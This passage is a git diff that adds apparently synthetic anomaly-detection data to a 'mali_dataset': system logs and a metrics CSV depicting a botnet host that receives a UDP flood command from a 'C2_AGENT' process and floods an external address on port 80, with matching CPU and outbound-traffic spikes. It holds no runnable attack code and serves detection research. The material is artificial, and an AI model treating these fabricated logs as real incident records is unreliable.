DST=192.0.2.254 PROTO=UDP SPT=29910 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23970 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34461 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35979 DPT=80 +Aug 16 18:05:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18116 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56228 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=64529 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47229 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21173 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34148 DPT=80 +Aug 16 18:05:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=46203 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43923 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39029 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=43197 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=61491 DPT=80 +Aug 16 18:05:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63728 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62683 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=25937 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38849 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=36625 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40858 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44351 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45420 DPT=80 +Aug 16 18:05:40 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56141 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62573 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41866 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50234 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37736 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60753 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47504 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=35359 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17907 DPT=80 +Aug 16 18:05:45 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27350 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=27217 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40854 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37646 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45403 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15629 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65444 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45305 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17879 DPT=80 +Aug 16 18:05:50 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38811 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=34047 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21600 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17532 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13600 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48851 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13748 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=15455 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=29690 DPT=80 +Aug 16 18:05:55 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48666 DPT=80 +Aug 16 18:06:00 api-server[9876]: WARNING: High latency detected for upstream service user-database. +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=31844 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=23675 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=47449 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60111 DPT=80 +Aug 16 18:06:00 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24971 DPT=80 +Aug 16 18:06:05 CRON[1973]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18099 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=62501 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18222 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=24657 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=56299 DPT=80 +Aug 16 18:06:05 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=54423 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63077 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41781 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=63998 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=17675 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11299 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=22663 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=11107 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49028 DPT=80 +Aug 16 18:06:10 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42337 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=60109 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=39531 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=12818 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=13439 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=21921 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=26879 DPT=80 +Aug 16 18:06:15 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48713 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=32983 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=16149 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=40703 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41864 DPT=80 +Aug 16 18:06:20 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48034 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=58930 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=51502 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=50945 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=14252 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=38577 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=48057 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=10858 DPT=80 +Aug 16 18:06:25 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=65230 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=44739 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=45941 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42493 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=28606 DPT=80 +Aug 16 18:06:30 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=37729 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=42552 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=18002 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=49825 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41806 DPT=80 +Aug 16 18:06:35 kernel: [NETFILTER] Packet ALLOWED: SRC=10.0.0.6 DST=192.0.2.254 PROTO=UDP SPT=41843 DPT=80 +Aug 16 18:06:40 systemd[1]: Starting Clean php session files... +Aug 16 18:06:40 bot-agent[23499]: Flood finished. Cleaning up child processes. +Aug 16 18:07:05 CRON[1985]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) \ No newline at end of file diff --git a/mali_dataset/scenario_2/mali_2_5.csv b/mali_dataset/scenario_2/mali_2_5.csv new file mode 100644 index 0000000000000000000000000000000000000000..73761b89459063eefc82a22a4e09bc3a9ab5d8b0 --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_5.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.12,40.8,17.22,0.76,1.82 +2025-07-15T10:00:05Z,14.81,38.36,23.86,0.86,1.33 +2025-07-15T10:00:10Z,17.63,36.63,27.99,0.76,1.84 +2025-07-15T10:00:15Z,19.51,38.91,23.27,1.11,1.8 +2025-07-15T10:00:20Z,13.04,43.67,20.7,1.16,1.82 +2025-07-15T10:00:25Z,15.56,44.34,26.12,0.93,1.49 +2025-07-15T10:00:30Z,14.98,40.5,24.94,1.02,1.69 +2025-07-15T10:00:35Z,19.83,44.95,23.99,0.67,1.82 +2025-07-15T10:00:40Z,11.3,38.65,22.21,1.29,1.99 +2025-07-15T10:00:45Z,15.39,40.11,28.49,0.73,1.4 +2025-07-15T10:00:50Z,11.81,41.54,20.05,1.31,1.47 +2025-07-15T10:00:55Z,19.89,36.86,27.17,1.35,1.22 +2025-07-15T10:01:00Z,18.65,38.42,21.76,1.24,1.55 +2025-07-15T10:01:05Z,14.2,39.8,26.07,1.26,1.68 +2025-07-15T10:01:10Z,13.51,43.67,28.39,0.93,1.14 +2025-07-15T10:01:15Z,13.61,35.32,22.65,1.47,1.17 +2025-07-15T10:01:20Z,13.58,42.54,27.06,0.65,1.6 +2025-07-15T10:01:25Z,18.77,36.7,17.0,0.51,1.38 +2025-07-15T10:01:30Z,11.85,42.84,24.93,1.4,1.9 +2025-07-15T10:01:35Z,11.19,36.71,22.59,1.08,1.3 +2025-07-15T10:01:40Z,12.35,40.17,15.51,0.87,1.92 +2025-07-15T10:01:45Z,14.94,35.89,28.42,1.06,1.57 +2025-07-15T10:01:50Z,13.17,42.0,20.46,1.33,1.72 +2025-07-15T10:01:55Z,15.69,40.52,16.14,0.96,2.0 +2025-07-15T10:02:00Z,13.13,35.47,19.9,0.68,1.2 +2025-07-15T10:02:05Z,16.4,40.07,23.53,1.04,1.75 +2025-07-15T10:02:10Z,11.35,44.68,16.26,1.45,1.13 +2025-07-15T10:02:15Z,18.34,44.87,18.92,1.29,1.66 +2025-07-15T10:02:20Z,13.53,36.02,24.56,0.98,1.03 +2025-07-15T10:02:25Z,12.46,40.37,24.44,1.47,1.21 +2025-07-15T10:02:30Z,97.04,45.72,3.22,0.22,822.51 +2025-07-15T10:02:35Z,95.09,49.36,4.83,0.37,989.99 +2025-07-15T10:02:40Z,95.83,45.68,2.49,0.27,824.43 +2025-07-15T10:02:45Z,99.85,46.63,3.65,0.32,877.91 +2025-07-15T10:02:50Z,96.27,47.45,2.81,0.24,969.95 +2025-07-15T10:02:55Z,98.3,46.91,4.48,0.23,804.46 +2025-07-15T10:03:00Z,97.47,46.02,3.16,0.2,836.35 +2025-07-15T10:03:05Z,95.51,53.46,3.39,0.43,918.09 +2025-07-15T10:03:10Z,98.85,48.07,2.5,0.35,872.03 +2025-07-15T10:03:15Z,99.5,45.61,3.31,0.48,897.98 +2025-07-15T10:03:20Z,97.44,52.73,4.21,0.3,992.92 +2025-07-15T10:03:25Z,96.49,50.65,4.5,0.25,922.19 +2025-07-15T10:03:30Z,97.86,45.56,1.85,0.42,850.14 +2025-07-15T10:03:35Z,96.45,45.65,1.73,0.13,809.44 +2025-07-15T10:03:40Z,99.52,46.47,4.99,0.31,871.86 +2025-07-15T10:03:45Z,96.31,45.83,2.55,0.19,881.61 +2025-07-15T10:03:50Z,99.34,46.88,3.35,0.25,999.84 +2025-07-15T10:03:55Z,98.49,46.14,3.58,0.38,884.4 +2025-07-15T10:04:00Z,98.06,46.95,3.18,0.22,808.37 +2025-07-15T10:04:05Z,97.83,52.11,3.83,0.4,987.06 +2025-07-15T10:04:10Z,95.2,48.81,2.17,0.36,985.93 +2025-07-15T10:04:15Z,96.09,50.73,2.62,0.45,815.46 +2025-07-15T10:04:20Z,98.26,53.01,2.61,0.19,994.61 +2025-07-15T10:04:25Z,96.9,53.11,1.94,0.19,967.94 +2025-07-15T10:04:30Z,96.06,50.41,4.52,0.42,937.42 +2025-07-15T10:04:35Z,96.1,45.88,4.43,0.35,969.83 +2025-07-15T10:04:40Z,96.54,48.62,3.64,0.38,852.58 +2025-07-15T10:04:45Z,97.52,47.73,1.46,0.38,802.41 +2025-07-15T10:04:50Z,96.56,51.36,4.99,0.32,925.85 +2025-07-15T10:04:55Z,96.45,45.4,3.74,0.27,876.19 +2025-07-15T10:05:00Z,99.38,54.76,3.78,0.38,810.58 +2025-07-15T10:05:05Z,96.52,48.29,1.66,0.35,966.39 +2025-07-15T10:05:10Z,95.56,49.55,1.96,0.33,905.75 +2025-07-15T10:05:15Z,99.61,53.78,3.93,0.47,951.3 +2025-07-15T10:05:20Z,99.38,52.79,4.78,0.42,974.81 +2025-07-15T10:05:25Z,98.03,50.07,4.94,0.33,820.99 +2025-07-15T10:05:30Z,98.63,53.88,4.9,0.35,912.41 +2025-07-15T10:05:35Z,96.22,45.34,1.21,0.25,957.67 +2025-07-15T10:05:40Z,97.54,49.34,3.41,0.46,861.81 +2025-07-15T10:05:45Z,95.93,52.65,3.07,0.21,863.46 +2025-07-15T10:05:50Z,95.2,50.64,3.7,0.14,998.24 +2025-07-15T10:05:55Z,97.49,51.62,2.93,0.15,957.74 +2025-07-15T10:06:00Z,95.04,52.42,2.87,0.43,967.71 +2025-07-15T10:06:05Z,98.43,49.63,1.28,0.45,820.25 +2025-07-15T10:06:10Z,97.38,52.96,3.83,0.28,805.19 +2025-07-15T10:06:15Z,98.73,52.85,1.17,0.21,957.93 +2025-07-15T10:06:20Z,98.42,46.35,4.84,0.27,956.51 +2025-07-15T10:06:25Z,96.89,45.59,2.94,0.3,836.11 +2025-07-15T10:06:30Z,95.81,51.79,4.05,0.46,941.13 +2025-07-15T10:06:35Z,97.23,53.57,2.12,0.26,846.97 +2025-07-15T10:06:40Z,21.9,45.08,18.3,0.73,1.64 +2025-07-15T10:06:45Z,17.55,39.23,19.65,1.3,2.11 +2025-07-15T10:06:50Z,13.09,40.95,18.84,0.79,1.87 +2025-07-15T10:06:55Z,14.24,41.81,30.79,0.86,1.84 +2025-07-15T10:07:00Z,18.34,47.02,30.8,0.66,2.08 +2025-07-15T10:07:05Z,13.3,42.51,20.9,1.37,1.75 +2025-07-15T10:07:10Z,12.8,39.62,23.49,0.67,2.12 +2025-07-15T10:07:15Z,20.1,45.88,21.44,1.34,1.33 +2025-07-15T10:07:20Z,18.19,47.93,20.64,1.21,1.21 +2025-07-15T10:07:25Z,13.78,39.29,19.3,0.72,1.83 diff --git a/mali_dataset/scenario_2/mali_2_5.log b/mali_dataset/scenario_2/mali_2_5.log new file mode 100644 index 0000000000000000000000000000000000000000..1c1446b4dd802c38a6a99532c944c7d84cb0383e --- /dev/null +++ b/mali_dataset/scenario_2/mali_2_5.log @@ -0,0 +1,310 @@ +Jul 15 10:00:00 systemd[1]: Started Session 100 of user root. +Jul 15 10:00:00 CRON[1800]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:00:10 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:00:10 ] "GET /health" 200 12 +Jul 15 10:00:50 CRON[1810]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:01:15 systemd[1]: Started Session 115 of user root. +Jul 15 10:01:40 CRON[1820]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:02:15 webapp[5432]: 192.168.1.56 - - [15/Jul/2025:10:02:15 ] "GET /health" 200 12 +Jul 15 10:02:30 systemd[1]: Started Session 130 of user root. +Jul 15 10:02:30 CRON[1830]: (root) CMD ( /usr/lib/snapd/snapd --review) +Jul 15 10:02:30 kernel: [1123.456789] C2_AGENT[8899]: Received attack command: type=UDP_FLOOD, target=185.122.204.246, port=80, duration=300s +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13040 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41038 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=26737 DPT=80 LEN=1480 +Jul 15 10:02:35 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=43333 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=41550 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18188 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=33280 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=40509 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=18295 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=37497 DPT=80 LEN=1480 +Jul 15 10:02:40 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=45601 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=64728 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58394 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=49960 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13000 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=58327 DPT=80 LEN=1480 +Jul 15 10:02:45 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=12717 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=13915 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=21123 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=35817 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=57082 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 DST=185.122.204.246 LEN=1500 TOS=0x00 PREC=0x00 TTL=64 ID=12345 PROTO=UDP SPT=53356 DPT=80 LEN=1480 +Jul 15 10:02:50 kernel: [UFW ALLOW] IN= OUT=eth0 SRC=10.0.0.5 